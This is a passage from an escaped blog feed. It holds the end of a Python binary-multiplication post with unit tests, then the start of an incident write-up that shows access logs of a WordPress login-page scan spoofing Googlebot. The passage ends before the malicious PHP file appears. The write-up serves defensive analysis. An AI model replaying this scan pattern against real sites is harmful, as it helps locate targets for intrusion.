    bin_b = bin_b&lt;span&gt;&amp;#91;&lt;/span&gt;bin_b.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;:
        &lt;span&gt;if&lt;/span&gt; bin_b&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt; == &lt;span&gt;'1'&lt;/span&gt;:
            temp_result.&lt;span&gt;append&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;%s%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, &lt;span&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;-i-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
        &lt;span&gt;else&lt;/span&gt;:
            temp_result.&lt;span&gt;append&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
    &lt;span&gt;for&lt;/span&gt; val &lt;span&gt;in&lt;/span&gt; temp_result:
        result = binary_addition&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;result&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;str&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;val&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;return&lt;/span&gt; result&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;Unit Test:&lt;/h3&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Unit test for binary_addition.py&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;unittest&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; binary_multiplication &lt;span&gt;import&lt;/span&gt; binary_multiplication
&amp;nbsp;
&lt;span&gt;class&lt;/span&gt; TestBinaryAddition&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;TestCase&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Comparing python binary multiplication against our own&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_same_length&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Multiplying 2 binary numbers of the same length&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_a = &lt;span&gt;'001001101'&lt;/span&gt;
        bin_b = &lt;span&gt;'011011010'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_multiplications&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_simple&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Multiplying 2 simple binary numbers&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
        bin_a = &lt;span&gt;'110'&lt;/span&gt;
        bin_b = &lt;span&gt;'101'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_multiplications&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_b_larger&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;B has more digits than A&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_a = &lt;span&gt;'010'&lt;/span&gt;
        bin_b = &lt;span&gt;'111001011000101'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_multiplications&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_b_smaller&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot; B has less digits than A &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_a = &lt;span&gt;'111001011000101'&lt;/span&gt;
        bin_b = &lt;span&gt;'010'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_multiplications&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; _compare_multiplications&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;, bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Compares the python implementation against ours&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_mult = binary_multiplication&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
        py_mult = bin&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;eval&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;0b%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; bin_a&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;eval&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;0b%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
        algo_res = bin_mult&lt;span&gt;&amp;#91;&lt;/span&gt;bin_mult.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
        py_res = py_mult&lt;span&gt;&amp;#91;&lt;/span&gt;py_mult.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;assertEqual&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;py_res, algo_res&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;if&lt;/span&gt; &lt;span&gt;'__main__'&lt;/span&gt; == __name__:
    &lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;main&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Google Buzz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google_buzz.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Buzz&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt; &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save&quot;&gt;Share&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Related posts:&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/08/07/algorithms-in-python-binary-exponentiation/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Algorithms in Python: Binary exponentiation&quot;&gt;Algorithms in Python: Binary exponentiation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/07/10/algorithms-in-python-base-expansion/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Algorithms in Python: Base Expansion&quot;&gt;Algorithms in Python: Base Expansion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/07/extending-postgresql-with-python/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Extending PostgreSQL with Python&quot;&gt;Extending PostgreSQL with Python&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2010-09-07T16:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Unobfuscating an Attack</title>
		<link href="http://alanp.ca/blog/2010/07/13/unobfuscating-an-attack/"/>
		<id>http://alanp.ca/blog/?p=145</id>
		<updated>2010-07-13T13:20:33+00:00</updated>
		<content type="html">&lt;p&gt;&lt;img class=&quot;alignleft size-full wp-image-190&quot; title=&quot;Chomp Chomp, Hackers be biting your computar.&quot; src=&quot;http://alanp.ca/blog/wp-content/uploads/2010/07/chomp.png&quot; alt=&quot;&quot; width=&quot;48&quot; height=&quot;48&quot; /&gt;Having experienced some &amp;#8216;weird&amp;#8217; traffic the other day, a client contacted me regarding this problem.  One of the datacenters we deal with contacted my client and sent him the following logs from an attack that seems to occured from his server:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;c&quot;&gt;access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;03&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;03&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /old/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;04&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /cms/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;04&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2537&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;05&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2538&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;05&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /blog/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2537&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;06&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /blog/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;06&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /blog_old/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;06&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /blog-old/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;07&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /blog/wp/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Obviously, the IPs have been removed to protect the innocent.  What we can see from this log output is that there is an obvious scan of hackable WordPress installations happening &amp;#8212; and they look to come from our server.&lt;/p&gt;
&lt;p&gt;After some further inspection of the server, it looks as if an &amp;#8216;attacker&amp;#8217; uploaded a PHP file to their account and was now using it to scour the internet for hackable WordPress installs.  A remote machine would send requests to a group of servers hosting this PHP file:&lt;/p&gt;

